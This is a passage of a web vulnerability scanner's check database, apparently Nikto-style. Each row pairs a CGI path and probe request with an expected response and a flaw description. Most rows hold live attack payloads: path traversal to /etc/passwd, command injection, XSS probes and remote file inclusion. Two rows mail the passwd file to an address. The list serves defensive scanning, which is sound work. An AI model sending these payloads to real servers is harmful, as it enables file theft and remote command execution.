  244. "generic","@CGIDIRSbash","200","GET","Shell found in CGI dir!"
  245. "generic","@CGIDIRSbb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK","root:","GET","The PHPNuke admin.php is vulnerable to a remote file retrieval vul. It should be upgraded to the latest version. CAN-2001-0320"
  246. "generic","@CGIDIRSbb-hist?HISTFILE=../../../../../../../../../../etc/passwd","root:","GET","Versions 1.09b or1.09c of BigBrother allow attackers to read arbitrary files."
  247. "generic","@CGIDIRSbb-hist.sh?HISTFILE=../../../../../../../../../../etc/passwd","root:","GET","Versions 1.09b or1.09c of BigBrother allow attackers to read arbitrary files."
  248. "generic","@CGIDIRSbb-hostsvc.sh?HOSTSVC=../../../../../../../../../../etc/passwd","root:","GET","Versions of BigBrother 1.4h or older allow attackers to read arbitrary files on the system."
  249. "generic","@CGIDIRSbetsie/parserl.pl/<script>alert('Vulnerable')</script>;","<script>alert('Vulnerable')</script>","GET","BBC Education Text to Speech Internet Enhancer from http://www.bbc.co.uk/education/betsie/ allows Cross Site Scripting (XSS). CA-2000-02."
  250. "generic","@CGIDIRSbigconf.cgi?command=view_textfile&file=/etc/passwd&filters=","root:","GET","This CGI allows attackers to read arbitrary files on the host."
  251. "generic","@CGIDIRSbizdb1-search.cgi","200","GET","This CGI may allow attackers to execute commands remotely. See http://www.hack.co.za/daem0n/cgi/cgi/bizdb.htm"
  252. "generic","@CGIDIRSblog/","200","GET","Movable Type weblog found. May contain security problems in CGIs, weak passwords, and more. Default login 'Melody' with password 'Nelson'."
  253. "generic","@CGIDIRSblog/mt-check.cgi","200","GET","Movable Type weblog diagnostic script found. Reveals docroot path, operating system, perl version, and modules."
  254. "generic","@CGIDIRSblog/mt-load.cgi","200","GET","Movable Type weblog installation CGI found. May be able to reconfigure or reload."
  255. "generic","@CGIDIRSblog/mt.cfg","configuration file","GET","Movable Type configuration file found. Should not be available remotely."
  256. "generic","@CGIDIRSbook.cgi?action=default¤t=|cat%20/etc/passwd|&form_tid=996604045&prev=main.html&list_message_index=10","root:","GET","This CGI allows attackers to read arbitrary files on the server."
  257. "generic","@CGIDIRSboozt/admin/index.cgi?section=5&input=1","200","GET","Boozt CGI may have a buffer overflow. Upgrade to a version new than 0.9.8alpha."
  258. "generic","@CGIDIRSc32web.exe/ChangeAdminPassword","200","GET","This CGI may contain a backdoor and may allow attackers to change the Cart32 admin password."
  259. "generic","@CGIDIRScachemgr.cgi","200","GET","Manager for squid proxy; problem with RedHat 6 making it public, can allow attacker to perform port scans."
  260. "generic","@CGIDIRScal_make.pl?p0=../../../../../../../../../../etc/passwd%00","root:","GET","This CGI allows attackers to read arbitrary files on the host."
  261. "generic","@CGIDIRScalendar_admin.pl?config=|cat%20/etc/passwd|","root:","GET","This CGI allows attackers to read arbitrary files on the host."
  262. "generic","@CGIDIRScalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","uid","GET","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html"
  263. "generic","@CGIDIRScalendar/calendar_admin.pl?config=|cat%20/etc/passwd|","root:","GET","This CGI allows attackers to read arbitrary files on the host."
  264. "generic","@CGIDIRScalendar/index.cgi","200","GET","Mike's Calendar CGI contained a bug which allowed arbitrary command execution (version 1.4), see http://freshmeat.net/projects/mycalendar/"
  265. "generic","@CGIDIRScampas?%0acat%0a/etc/passwd%0a","root:","GET","This CGI allows attackers to read arbitrary files on the server."
  266. "generic","@CGIDIRScart.pl?db='","c:\\","GET","Dansie Shopping Cart reveals the full path to the CGI directory."
  267. "generic","@CGIDIRScart.pl?db='","d:\\","GET","Dansie Shopping Cart reveals the full path to the CGI directory."
  268. "generic","@CGIDIRScart32.exe","200","GET","request cart32.exe/cart32clientlist"
  269. "generic","@CGIDIRSccvsblame.cgi?file=/index.html&root=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  270. "generic","@CGIDIRScgi-lib.pl","200","GET","CGI Library. If retrieved check to see if it is outdated, it may have vuls"
  271. "generic","@CGIDIRScgicso?query=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  272. "generic","@CGIDIRScgicso?query=AAA","400 Required field missing: fingerhost","GET","This CGI allows attackers to execute remote commands."
  273. "generic","@CGIDIRScgiforum.pl?thesection=../../../../../../../../../../etc/passwd%00","root:","GET","This CGI allows attackers to read arbitrary files on the server."
  274. "generic","@CGIDIRScgiwrap","200","GET","Some versions of cgiwrap allow anyone to execute commands remotely."," "
  275. "generic","@CGIDIRScgiwrap/%3Cfont%20color=red%3E","<font color=red>","GET","cgiwrap allows HTML and possibly CSS injection. See http://archives.neohapsis.com/archives/bugtraq/2001-07/0499.html for details."
  276. "generic","@CGIDIRScgiwrap/~@USERS","UID of script userid","GET","cgiwrap can be used to enumerate user accounts. Recompile cgiwrap with the '--with-quiet-errors' option to stop user enumeration."
  277. "generic","@CGIDIRScgiwrap/~JUNK(5)"," unable to find the user","GET","Based on error message, cgiwrap can likely be used to find valid user accounts. Recompile cgiwrap with the '--with-quiet-errors' option to stop user enumeration."
  278. "generic","@CGIDIRScgiwrap/~root","UID of script userid","GET","cgiwrap can be used to enumerate user accounts.  Recompile cgiwrap with the '--with-quiet-errors' option to stop user enumeration."
  279. "generic","@CGIDIRSclass/mysql.class","This program is free software","GET","Basilix allows its configuration files to be downloaded, which  may include the mysql auth credentials."
  280. "generic","@CGIDIRSclassified.cgi","200","GET","Check Phrack 55 for info by RFP"
  281. "generic","@CGIDIRSclassifieds/classifieds.cgi","200","GET","Mike's Classifieds CGI contained a bug which allowed arbitrary command execution (version 1.2), see http://freshmeat.net/projects/myclassifieds/"
  282. "generic","@CGIDIRSclassifieds/index.cgi","200","GET","My Classifieds pre 2.12 is vulnerable to SQL Injection attacks."
  283. "generic","@CGIDIRScommerce.cgi?page=../../../../../../../../../../etc/passwd%00index.html","root:","GET","This CGI allows attackers to read arbitrary files on the server."
  284. "generic","@CGIDIRScommon.php?f=0&ForumLang=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read files on the host."
  285. "generic","@CGIDIRScommon/listrec.pl?APP=qmh-news&TEMPLATE=;ls%20/etc|","resolv.conf","GET","Allows attacker to execute commands as http daemon. Upgrade or remove."
  286. "generic","@CGIDIRScompatible.cgi","200","GET","This COWS (CGI Online Worldweb Shopping) script may give system information to attackers, and may be vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  287. "generic","@CGIDIRSCount.cgi","200","GET","This may allow attackers to execute arbitrary commands on the server"
  288. "generic","@CGIDIRScsChatRBox.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')","root:","GET","Multiple scripts from CGIscript.net have remote code execution vulnerabilities. Upgrade to the latest version."
  289. "generic","@CGIDIRScsGuestBook.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')","root:","GET","Multiple scripts from CGIscript.net have remote code execution vulnerabilities. Upgrade to the latest version."
  290. "generic","@CGIDIRScsh","200","GET","Shell found in CGI dir!"
  291. "generic","@CGIDIRScsLiveSupport.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')","root:","GET","Multiple scripts from CGIscript.net have remote code execution vulnerabilities. Upgrade to the latest version."
  292. "generic","@CGIDIRScsNewsPro.cgi?command=savesetup&setup=;system('cat%20/etc/passwd')","root:","GET","Multiple scripts from CGIscript.net have remote code execution vulnerabilities. Upgrade to the latest version."
  293. "generic","@CGIDIRScsSearch.cgi?command=savesetup&setup=`cat%20/etc/passwd`","root:","GET","csSearch (http://www.cgiscript.net/) has a major flaw which allows perl to be executed remotely. Upgrade to a version higher than 2.3. CAN-2002-0495."
  294. "generic","@CGIDIRScvsblame.cgi?file=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  295. "generic","@CGIDIRScvslog.cgi?file=*&rev=&root=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  296. "generic","@CGIDIRScvslog.cgi?file=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  297. "generic","@CGIDIRScvsquery.cgi?branch=<script>alert('Vulnerable')</script>&file=<script>alert(document.domain)</script>&date=<script>alert(document.domain)</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  298. "generic","@CGIDIRScvsquery.cgi?module=<script>alert('Vulnerable')</script>&branch=&dir=&file=&who=<script>alert(document.domain)</script>&sortby=Date&hours=2&date=week","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  299. "generic","@CGIDIRScvsqueryform.cgi?cvsroot=/cvsroot&module=<script>alert('Vulnerable')</script>&branch=HEAD","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  300. "generic","@CGIDIRSdansguardian.pl?DENIEDURL=</a><script>alert('Vulnerable');</script>","<script>alert('Vulnerable');</script>","GET","CensorNet Proxy Service is vulnerable to Cross Site Scripting (XSS) in error pages. CA-2000-02."
  301. "generic","@CGIDIRSdata/fetch.php?page=","mysql_num_rows","GET","StellarDocs allows remote users to see file system paths. BID-8385."
  302. "generic","@CGIDIRSdb4web_c/dbdirname//etc/passwd","root:","GET","The passwd file was retrieved by using the db4web executable."
  303. "generic","@CGIDIRSdbman/db.cgi?db=no-db","200","GET","This CGI allows remote attackers to view system information."
  304. "generic","@CGIDIRSdcforum.cgi?az=list&forum=../../../../../../../../../../etc/passwd%00","root:","GET","This install of DCForum allows attackers to read arbitrary files on the host."
  305. "generic","@CGIDIRSdcshop/auth_data/auth_user_file.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
  306. "generic","@CGIDIRSDCShop/auth_data/auth_user_file.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
  307. "generic","@CGIDIRSdcshop/orders/orders.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
  308. "generic","@CGIDIRSDCShop/orders/orders.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
  309. "generic","@CGIDIRSdiagnose.cgi","200","GET","This COWS (CGI Online Worldweb Shopping) script may give system information to attackers, and may be vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  310. "generic","@CGIDIRSdirectorypro.cgi?want=showcat&show=../../../../../../../../../../etc/passwd%00","root:","GET","This CGI allows attackers to read arbitrary files on the server."
  311. "generic","@CGIDIRSdose.pl","200","GET","DailyDose 1.1 is vulnerable to a directory traversal attack in the 'list' parameter."
  312. "generic","@CGIDIRSdownload.cgi","200","GET","v1 by Matt Wright; check info in Phrack 55 by RFP"
  313. "generic","@CGIDIRSdumpenv.pl","200","GET","This CGI gives a lot of information to attackers."
  314. "generic","@CGIDIRSecho.bat?&dir+c:\",","200","GET","This batch file may allow attackers to execute remote commands."
  315. "generic","@CGIDIRSecho.bat","200","GET","This CGI may allow attackers to execute remote commands."
  316. "generic","@CGIDIRSempower?DB=whateverwhatever","db name whateverwhatever of directory /","GET","This CGI allows attackers to learn the full system path to your web directory."
  317. "generic","@CGIDIRSemu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","EmuMail allows any file to be retrieved from the remote system."
  318. "generic","@CGIDIRSemumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","EmuMail allows any file to be retrieved from the remote system."
  319. "generic","@CGIDIRSemumail/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","EmuMail allows any file to be retrieved from the remote system."
  320. "generic","@CGIDIRSenviron.pl?param1=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  321. "generic","@CGIDIRSerba/start/%3Cscript%3Ealert('Vulnerable');%3C/script%3E","<script>alert('Vulnerable')</script>","GET","Aestiva HTML/OS is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  322. "generic","@CGIDIRSerrors/needinit.php?GALLERY_BASEDIR=http://xxxxxxxx/","http://xxxxxxxx/errors/configure_instructions","GET","Gallery 1.3.0 and below allow PHP files to be included from another domain. Upgrade to the latest version."
  323. "generic","@CGIDIRSeshop.pl/seite=;cat%20eshop.pl|","\/perl","GET","This CGI allows attackers to execute commands on the remote server. CAN-2001-1014."
  324. "generic","@CGIDIRSexcite;IFS=\"$\";/bin/cat /etc/passwd|mail test@test.com","200","GET","Excite software is vulnerable to password file theft remotely."
  325. "generic","@CGIDIRSezadmin.cgi","200","GET","Some versions of this CGI are vulnerable to a buffer overflow."
  326. "generic","@CGIDIRSezboard.cgi","200","GET","Some versions of this CGI are vulnerable to a buffer overflow."
  327. "generic","@CGIDIRSezman.cgi","200","GET","Some versions of this CGI are vulnerable to a buffer overflow."
  328. "generic","@CGIDIRSezshopper/loadpage.cgi?user_id=1&file=|cat%20/etc/passwd|","200","GET","EZShopper loadpage CGI read arbitrary files"
  329. "generic","@CGIDIRSezshopper/search.cgi?user_id=id&database=dbase1.exm&template=../../../../../../../etc/passwd&distinct=1","200","GET","EZShopper search CGI read arbitrary files"
  330. "generic","@CGIDIRSfaqmanager.cgi?toc=/etc/passwd%00","root:","GET","FAQmanager allows arbitrary files to be read on the host. Upgrade to latest version: http://www.fourteenminutes.com/code/faqmanager/"
  331. "generic","@CGIDIRSfaxsurvey?cat%20/etc/passwd","root:","GET","This CGI allows attackers to execute commands and read files remotely."
  332. "generic","@CGIDIRSFileSeek.cgi?head=;cat%20/etc/passwd|&foot=","root:","GET","FileSeek allows arbitrary command execution. Update to the latest version from cgi-perl.com"," "
  333. "generic","@CGIDIRSFileSeek.cgi?head=....//....//....//....//....//....//....//etc/passwd&foot=","root:","GET","FileSeek allows arbitrary files to be retrieved. Update to the latest version from cgi-perl.com"," "
  334. "generic","@CGIDIRSFileSeek.cgi?head=&foot=;cat%20/etc/passwd","root:","GET","FileSeek allows arbitrary command execution. Update to the latest version from cgi-perl.com"," "
  335. "generic","@CGIDIRSFileSeek.cgi?head=&foot=....//....//....//....//....//....//....//etc/passwd","root:","GET","FileSeek allows arbitrary files to be retrieved. Update to the latest version from cgi-perl.com"," "
  336. "generic","@CGIDIRSFileSeek2.cgi?head=;cat%20/etc/passwd|&foot=","root:","GET","FileSeek allows arbitrary command execution. Update to the latest version from cgi-perl.com"," "
  337. "generic","@CGIDIRSFileSeek2.cgi?head=....//....//....//....//....//....//....//etc/passwd&foot=","root:","GET","FileSeek allows arbitrary files to be retrieved. Update to the latest version from cgi-perl.com"," "
  338. "generic","@CGIDIRSFileSeek2.cgi?head=&foot=;cat%20/etc/passwd","root:","GET","FileSeek allows arbitrary command execution. Update to the latest version from cgi-perl.com"," "
  339. "generic","@CGIDIRSFileSeek2.cgi?head=&foot=....//....//....//....//....//....//....//etc/passwd","root:","GET","FileSeek allows arbitrary files to be retrieved. Update to the latest version from cgi-perl.com"," "
  340. "generic","@CGIDIRSfinger.cgi","200","GET","finger other users, may be other commands?"
  341. "generic","@CGIDIRSfinger.pl","200","GET","finger other users, may be other commands?"
  342. "generic","@CGIDIRSfinger","200","GET","finger other users, may be other commands?"
  343. "generic","@CGIDIRSflexform.cgi","200","GET","Check Phrack 55 for info by RFP, allows to append info to writable files."
  344. "generic","@CGIDIRSflexform","200","GET","Check Phrack 55 for info by RFP, allows to append info to writable files."
  345. "generic","@CGIDIRSfom.cgi?file=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Faq-O-Matic is vulnerable to Cross Site Scripting (XSS).  Upgrade to the latest from http://sourceforge.net/projects/faqomatic. CA-2000-02."
  346. "generic","@CGIDIRSfom/fom.cgi?cmd=<script>alert('Vulnerable')</script>&file=1&keywords=vulnerable","<script>alert('Vulnerable')</script>","GET","Faq-O-Matic is vulnerable to cross site scripting (XSS) CA-2000-02. Check for updates here http://faqomatic.sourceforge.net/fom-serve/cache/1.html"
  347. "generic","@CGIDIRSFormHandler.cgi?realname=aaa&email=aaa&reply_message_template=%2Fetc%2Fpasswd&reply_message_from=sq%40example.com&redirect=http%3A%2F%2Fwww.example.com&recipient=sq%40example.com","root:","GET","This CGI allows attackers to read files and execute commands remotely."
  348. "generic","@CGIDIRSformmail?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test","root:","GET","This CGI allows attackers to retrieve arbitrary files from the server."
  349. "generic","@CGIDIRSFormMail.cgi?<script>alert(\"Vulnerable\");</script>","<script>alert(\"Vulnerable\");</script>","GET","FormMail.cgi allows Cross Site Scripting (XSS). CA-2000-02."
  350. "generic","@CGIDIRSformmail.cgi?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test","root:","GET","This CGI allows attackers to retrieve arbitrary files from the server."
  351. "generic","@CGIDIRSformmail.cgi","Version ","GET","The remote CGI reveals its version number, which may aid attackers in finding vulnerabilities in the script."
  352. "generic","@CGIDIRSformmail.pl?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test","root:","GET","This CGI allows attackers to retrieve arbitrary files from the server."
  353. "generic","@CGIDIRSformmail.pl","200","GET","Many versions of FormMail have remote vulnerabilities, including file access, information disclosure and email abuse. FormMail access should be restricted as much as possible or a more secure solution found."
  354. "generic","@CGIDIRSformmail.pl","Version ","GET","The remote CGI reveals its version number, which may aid attackers in finding vulnerabilities in the script."
  355. "generic","@CGIDIRSformmail","Version ","GET","The remote CGI reveals its version number, which may aid attackers in finding vulnerabilities in the script."
  356. "generic","@CGIDIRSfoxweb.dll","200","GET","Foxweb 2.5 and below is vulnerable to a buffer overflow (not tested or confirmed). Verify Foxweb is the latest available version."
  357. "generic","@CGIDIRSfoxweb.exe","200","GET","Foxweb 2.5 and below is vulnerable to a buffer overflow (not tested or confirmed). Verify Foxweb is the latest available version."
  358. "generic","@CGIDIRSgbadmin.cgi?action=change_adminpass","200","GET","RNN Guestbook 1.2 contains multiple vulnerabilities including remotely changing administrative password, deleting posts, changing the setup, remotely executing commands, and more. By default, the admin password is either 'admin' or 'demo'. See Nov 26, 2003 BugTraq post by brainrawt@haxworx.com for details."
  359. "generic","@CGIDIRSgbpass.pl","200","GET"," RNN Guestbook 1.2 password storage file. Administrative password should be stored in plaintext. Access gbadmin.cgi in the same directory to (ab)use. By default, the admin password is either 'admin' or 'demo'. See Nov 26, 2003 BugTraq post by brainrawt@haxworx.com for details."
  360. "generic","@CGIDIRSgenerate.cgi?content=../../../../../../../../../../etc/passwd%00board=board_1","root:","GET","This CGI from SIX webboard allows attackers read arbitrary files on the host."
  361. "generic","@CGIDIRSgenerate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1","[windows]","GET","This CGI from SIX webboard allows attackers read arbitrary files on the host."
  362. "generic","@CGIDIRSgenerate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1","[fonts]","GET","This CGI from SIX webboard allows attackers read arbitrary files on the host."
  363. "generic","@CGIDIRSget32.exe","200","GET","This can allow attackers to execute arbitrary commands remotely."
  364. "generic","@CGIDIRSgettransbitmap","200","GET","Sun Answerbook2 is vulnerable to a buffer overflow in the gettransbitmap CGI. All default CGIs should be disabled or removed, and Answerbook2 should be disabled if not being used."
  365. "generic","@CGIDIRSgH.cgi","200","GET","web backdoor by gH"
  366. "generic","@CGIDIRSgm-authors.cgi","200","GET","GreyMatter 'password' file, that controls who can post. This contains login and password information and is installed mode 666 by default. See http://www.attrition.org/~jericho/works/security/greymatter.html for more info."
  367. "generic","@CGIDIRSgm-cplog.cgi","200","GET","GreyMatter log file defaults to mode 666 and contains login and passwords used to update the GM site. See http://www.attrition.org/~jericho/works/security/greymatter.html for more info."
  368. "generic","@CGIDIRSgm.cgi","200","GET","GreyMatter blogger may reveal user ids/passwords through a gmrightclick-######.reg files (# are numbers), possibly in /archive or other archive location. See http://www.attrition.org/~jericho/works/security/greymatter.html for more info."
  369. "generic","@CGIDIRSguestbook.cgi?user=cpanel&template=|/bin/cat%20/etc/passwd|","root:","GET","cpanel's guestbook.cgi allows any command to be executed on the remote server. Remove /usr/local/cpanel/cgi-sys/guestbook.cgi or update to a new version of cpanel."
  370. "generic","@CGIDIRSguestbook.cgi","200","GET","May allow attackers to execute commands as the web daemon."
  371. "generic","@CGIDIRSguestbook.pl","200","GET","May allow attackers to execute commands as the web daemon."
  372. "generic","@CGIDIRSguestbook/passwd","200","GET","GuestBook r4 from lasource.r2.ru stores the admin password in a plain text file."
  373. "generic","@CGIDIRSGW5/GWWEB.EXE?HELP=bad-request","Could not find file SYS","GET","Groupwise allows system information and file retrieval by modifying arguments to the help system."
  374. "generic","@CGIDIRSGWWEB.EXE?HELP=bad-request","Could not find file SYS","GET","Groupwise allows system information and file retrieval by modifying arguments to the help system."
  375. "generic","@CGIDIRShandler.cgi","200","GET","Variation of Irix Handler? Has been seen from other CGI scanners."
  376. "generic","@CGIDIRShorde/test.php?mode=phpinfo","PHP Version","GET","Horde allows phpinfo() to be run, which gives detailed system information."
  377. "generic","@CGIDIRShorde/test.php","Horde Versions","GET","Horde script reveals detailed system/Horde information."
  378. "generic","@CGIDIRShorde/test.php","IMP: 3.(0|1|2|2\.1)","GET","IMP version 3.0, 3.1, 3.2, or 3.2.1 are vulnerabl to Cross Site Scripting (XSS). See http://marc.theaimsgroup.com/?l=imp&m=105940167329471&w=2."
  379. "generic","@CGIDIRShpnst.exe?c=p+i=SrvSystemInfo.html","200","GET","HP Instant TopTools may be vulnerable to a DoS by requesting hpnst.exe?c=p+i=hpnst.exe multiple times."
  380. "generic","@CGIDIRShsx.cgi?show=../../../../../../../../../../../etc/passwd%00","root:","GET","This CGI contains a well known vul that allows attackers to read any system file."
  381. "generic","@CGIDIRShtgrep?file=index.html&hdr=/etc/passwd","root:","GET","This CGI contains a well known vul that allows attackers to read any system file."
  382. "generic","@CGIDIRShtimage.exe?0,0","200","GET","htimage.exe may be vulnerable to a buffer overflow in the mapname portion. MS00-028. BID-1117"
  383. "generic","@CGIDIRShtimage.exe/path/filename?0,0","tried the following","GET","htimage.exe can provide physical path of web server. BID-964. BID-1141."
  384. "generic","@CGIDIRShtml2chtml.cgi","200","GET","Html2Wml < 0.4.8 access local files via CGI, and more"
  385. "generic","@CGIDIRShtml2wml.cgi","200","GET","Html2Wml < 0.4.8 access local files via CGI, and more"
  386. "generic","@CGIDIRShtmlscript?../../../../../../../../../../etc/passwd","root:","GET","This CGI contains a well known vul that allows attackers to read any system file."
  387. "generic","@CGIDIRShtsearch?-c/nonexistant","Unable to read configuration file '/nonexistant'","GET","The ht::/Dig install may let an attacker force ht://Dig to read arbitrary config files for itself."
  388. "generic","@CGIDIRShtsearch?config=foofighter&restrict=&exclude=&method=and&format=builtin-long&sort=score&words=","ht:\/\/Dig","GET","The ht://Dig install may reveal the path to its configuration files, revealing sensitive information about the server."
  389. "generic","@CGIDIRShtsearch?exclude=%60/etc/passwd%60","root:","GET","This CGI contains a well known vul that allows attackers to read any system file."
  390. "generic","@CGIDIRShtsearch.cgi?words=%22%3E%3Cscript%3Ealert%'Vulnerable'%29%3B%3C%2Fscript%3E","<script>alert('Vulnerable')</script>","GET","htdig is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  391. "generic","@CGIDIRSibill.pm","200","GET","iBill.pm is installed. This may allow brute forcing of passwords."
  392. "generic","@CGIDIRSicat","200","GET","Multiple versions of icat allow attackers to read arbitrary files. Make sure the latest version is running."
  393. "generic","@CGIDIRSImageFolio/admin/admin.cgi","200","GET","ImageFolio (default accout Admin/ImageFolio) may allow files to be deleted via URLs like: ?cgi=remove.pl&uid=111.111.111.111&rmstep=2&category=../../../../../../../../../../../etc/"
  394. "generic","@CGIDIRSimagemap.exe","200","GET","The version of imagemap.exe installed may contain a buffer overflow. CVE-1999-0951. BID-739. CAN-2000-0122. CAN-2000-0256. MS00-028. BID-1117."
  395. "generic","@CGIDIRSimagemap","200","GET","Possible variation: imagemap.exe installed could contain a buffer overflow. BID-1117."
  396. "generic","@CGIDIRSinc/sendmail.inc","This program is free software","GET","Basilix allows its configuration files to be downloaded, which  may include the mysql auth credentials."
  397. "generic","@CGIDIRSinclude/new-visitor.inc.php","200","GET","Les Visiteurs 2.0.1 and prior are vulnerable to remote command execution. BID 8902 for exploit example."
  398. "generic","@CGIDIRSindex.pl","Powered By WebGUI 4.5.0","GET","WebGUI version 4.5.0 according to the documentation, a user could view collateral data of a wobject if the URL is known. http://freshmeat.net/users/rizen/."
  399. "generic","@CGIDIRSindex.pl","Powered By WebGUI 4.6.8","GET","WebGUI version 4.6.8, according to the documentation, may allow arbitray code execution. http://freshmeat.net/users/rizen/."
  400. "generic","@CGIDIRSindex.pl","Powered By WebGUI 4.6.9","GET","WebGUI version 4.6.9 has a 'very obsure and unlikely security hole' according to the documentation. http://freshmeat.net/users/rizen/."
  401. "generic","@CGIDIRSinfo2www '(../../../../../../../bin/mail root </etc/passwd>","root:","GET","This CGI allows attackers to execute commands. passwd file may have been mailed to root."
  402. "generic","@CGIDIRSinfo2www","200","GET","This CGI allows attackers to execute commands."
  403. "generic","@CGIDIRSinfosrch.cgi","200","GET","This CGI allows attackers to execute commands."
  404. "generic","@CGIDIRSion-p?page=../../../../../etc/passwd","root:","GET","Ion-P allows remote file retrieval."
  405. "generic","@CGIDIRSion-p.exe?page=c:\winnt\repair\sam","200","GET","Ion-P allows remote file retrieval."
  406. "generic","@CGIDIRSksh","200","GET","Shell found in CGI dir!"
  407. "generic","@CGIDIRSlastlines.cgi?process","root:","POST","This CGI lets attackers read arbitrary files and/or execute commands.","num_lines=1000&log_location=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
  408. "generic","@CGIDIRSlistrec.pl","200","GET","This CGI allows attackers to execute commands on the host."
  409. "generic","@CGIDIRSloadpage.cgi?user_id=1&file=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read arbitrary files on the host."
  410. "generic","@CGIDIRSloadpage.cgi?user_id=1&file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini","[windows]","GET","This CGI allows attackers to read arbitrary files on the host."
  411. "generic","@CGIDIRSlog/nether-log.pl?checkit","200","GET","Default Pass: nethernet-rules"
  412. "generic","@CGIDIRSlogin.pl?course_id=\"><SCRIPT>alert('Vulnerable')</SCRIPT>","<script>alert('Vulnerable')</script>","GET","BlackBoard 5 from BlackBoard.com is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  413. "generic","@CGIDIRSlwgate.cgi","200","GET","Check Phrack 55 for info by RFP, http://www.phrack.com/show.php?p=55&a=7"
  414. "generic","@CGIDIRSLWGate.cgi","200","GET","Check Phrack 55 for info by RFP, http://www.phrack.com/show.php?p=55&a=7"
  415. "generic","@CGIDIRSlwgate","200","GET","Check Phrack 55 for info by RFP"
  416. "generic","@CGIDIRSLWGate","200","GET","Check Phrack 55 for info by RFP"
  417. "generic","@CGIDIRSmail/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","root:","GET","EmuMail allows any file to be retrieved from the remote system."
  418. "generic","@CGIDIRSmail/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../../etc/passwd%00","root:","GET","MailReader.com v2.3.31 web package allows remote users to retrieve any system file."
  419. "generic","@CGIDIRSmailnews.cgi","200","GET","some versions allow attacker to execute commands as http daemon. Upgrade or remove."
  420. "generic","@CGIDIRSmain.cgi?board=FREE_BOARD&command=down_load&filename=../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers to read arbitrary files remotely."
  421. "generic","@CGIDIRSmgrqcgi","200","GET","This CGI from Magic Enterprise 8.30-5 and earlier are vulnerable to multiple buffer overflows. Upgrade to 9.x."
  422. "generic","@CGIDIRSmini_logger.cgi","200","GET","Default password: guest"
  423. "generic","@CGIDIRSmkilog.exe","200","GET","This CGI can give an attacker a lot of information."
  424. "generic","@CGIDIRSmkplog.exe","200","GET","This CGI can give an attacker a lot of information."
  425. "generic","@CGIDIRSmmstdod.cgi","200","GET","May allow attacker to execute remote commands. Upgrade to version 3.0.26 or higher."
  426. "generic","@CGIDIRSmoin.cgi?test","200","GET","MoinMoin 1.1 and prior contain at least two CSS vulnerabilities. Version 1.0 and prior also contains a XSLT related vuln."
  427. "generic","@CGIDIRSmrtg.cfg?cfg=../../../../../../../../etc/passwd","root:","GET","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version."
  428. "generic","@CGIDIRSmrtg.cgi?cfg=../../../../../../../../etc/passwd","root:","GET","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version."
  429. "generic","@CGIDIRSmrtg.cgi?cfg=blah","Cannot find the given config file","GET","Multi Router Traffic Grapher (mrtg.org) reveals system paths when an invalid config file is specified. Software should be upgraded to the latest version."
  430. "generic","@CGIDIRSMsmMask.exe?mask=/junk334","Failed to read the maskfile","GET","MondoSearch may allow any file to be retrieved using the 'mask' variable."
  431. "generic","@CGIDIRSMsmMask.exe?mask=/junk334","MondoSearch for Web Sites 4.0","GET","MondoSearch may allow any file to be retrieved using the 'mask' variable."
